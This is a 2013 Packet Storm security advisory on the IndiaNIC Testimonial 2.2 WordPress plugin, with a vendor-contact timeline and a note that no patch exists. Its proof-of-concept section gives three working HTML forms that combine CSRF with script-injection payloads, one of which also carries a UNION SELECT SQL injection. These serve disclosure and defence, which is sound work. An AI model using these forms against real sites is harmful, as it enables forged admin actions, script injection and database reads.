Exploit the possiblities

WordPress IndiaNIC Testimonial 2.2 XSS / CSRF / SQL Injection

WordPress IndiaNIC Testimonial 2.2 XSS / CSRF / SQL Injection
Posted Sep 2, 2013
Authored by RogueCoder

WordPress IndiaNIC Testimonial plugin version 2.2 suffers from cross site request forgery, cross site scripting, and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection, csrf
MD5 | 892e1656862a4ffcf1e13c2d41891c87

WordPress IndiaNIC Testimonial 2.2 XSS / CSRF / SQL Injection

Change Mirror Download
Details
========================
Application: Testimonial
Version: 2.2
Type: Wordpress plugin
Vendor: IndiaNIC
Vulnerability:
- XSS (CWE-79)
- CSRF (CWE-352)
- SQL Injection (CWE-89)

Description
========================
Testimonial Plugin allows you to add, delete, edit and place what others said about your web site. Loaded with unequaled features, this plugin gets you complete control over testimonials.

This is the very first Plug-in which is designed especially keeping our motto in mind that ‘every client is important’. It is as an imperative tool for supervising your official website in accordance to your clients.

Vulnerability
========================
This plugin is vulnerable to cross-site request forgery, cross-site scripting and sql injection.

1. Add testimonial form is vulnerable to CSRF and XSS
2. Add listings template is vulnerable to CSRF, XSS and SQLi
3. Add widget template is vulnerable to CSRF and XSS

Proof of Concept
========================
1. Add testimonial 
<form name="testimonial_add" method="post" action="http://wordpress/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="iNIC_testimonial_save">
    <input type="hidden" name="project_name" value="<script>alert(String.fromCharCode(67,83,82,70,32,49))</script>">
    <input type="hidden" name="project_url" value="<script>alert(String.fromCharCode(67,83,82,70,32,50))</script>">
    <input type="hidden" name="client_name" value="<script>alert(String.fromCharCode(67,83,82,70,32,51))</script>">
    <input type="hidden" name="client_city" value="<script>alert(String.fromCharCode(67,83,82,70,32,52))</script>">
    <input type="hidden" name="client_state" value="<script>alert(String.fromCharCode(67,83,82,70,32,53))</script>">
    <input type="hidden" name="client_country" value="Belgium">
    <input type="hidden" name="description" value="<script>alert(String.fromCharCode(67,83,82,70,32,54))</script>">
    <input type="hidden" name="tags" value="<script>alert(String.fromCharCode(67,83,82,70,32,55))</script>">
    <input type="hidden" name="video_url" value="<script>alert(String.fromCharCode(67,83,82,70,32,56))</script>">
    <input type="hidden" name="is_featured" value="<script>alert(String.fromCharCode(67,83,82,70,32,57))</script>">
    <input type="submit" value="Save Testimonial">
</form>

2. Add listings template
<form name="testimonial_add" method="post" action="http://wordpress/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="iNIC_testimonial_save_listing_template">
    <input type="hidden" name="id" value="9">
    <input type="hidden" name="title" value="<script>alert(String.fromCharCode(67,83,82,70,32,49))</script>">
    <input type="hidden" name="no_of_testimonial" value="5">
    <input type="hidden" name="list_per_page" value="5">
    <input type="hidden" name="ord_by" value="id">
    <input type="hidden" name="ord_type" value="ASC">
    <input type="hidden" name="custom_query" value="1=1) union select 1,2,3,@@version,5,6,7,8,9,10,11,12,13,14#">
    <input type="hidden" name="show_featured_at" value="top">
    <input type="hidden" name="no_of_featured" value="2">
    <input type="hidden" name="featured_template" value="{#ID} {#ProjectUrl} {#ProjectName} {#ProjectUrl} {#ClientName} {#City} {#State} {#Country} {#Description} {#Tags} {#VideoUrl} {#ThumbImgUrl} {#LargeImgUrl} {#Counter}">
    <input type="hidden" name="listing_template_odd" value="{#ID} {#ProjectUrl} {#ProjectName} {#ProjectUrl} {#ClientName} {#City} {#State} {#Country} {#Description} {#Tags} {#VideoUrl} {#ThumbImgUrl} {#LargeImgUrl} {#Counter}">
    <input type="hidden" name="listing_template_even" value="{#ID} {#ProjectUrl} {#ProjectName} {#ProjectUrl} {#ClientName} {#City} {#State} {#Country} {#Description} {#Tags} {#VideoUrl} {#ThumbImgUrl} {#LargeImgUrl} {#Counter}">
    <input type="submit" value="Add Template">
</form>

3. Add widget template
<form name="testimonial_add" method="post" action="http://wordpress/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="iNIC_testimonial_save_widget">
    <input type="hidden" name="widget_title" value="<script>alert(String.fromCharCode(67,83,82,70,32,49))</script>">
    <input type="hidden" name="no_of_testimonials" value="<script>alert(String.fromCharCode(67,83,82,70,32,50))</script>">
    <input type="hidden" name="filter_by_country" value="<script>alert(String.fromCharCode(67,83,82,70,32,51))</script>">
    <input type="hidden" name="filter_by_tags" value="<script>alert(String.fromCharCode(67,83,82,70,32,52))</script>">
    <input type="hidden" name="widget_template" value="<script>alert(String.fromCharCode(67,83,82,70,32,53))</script>">
    <input type="submit" value="Add Template">
</form>

Solution
========================
No patch has been provided by vendor. Solution would be to stop using this plugin in a public environment

Timeline
========================
2013-08-07 - Email sent to IndiaNIC
2013-08-08 - Notification left on the plugin's Support board on wordpress.org
2013-09-01 - No response or patch released. Publicly disclosed


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close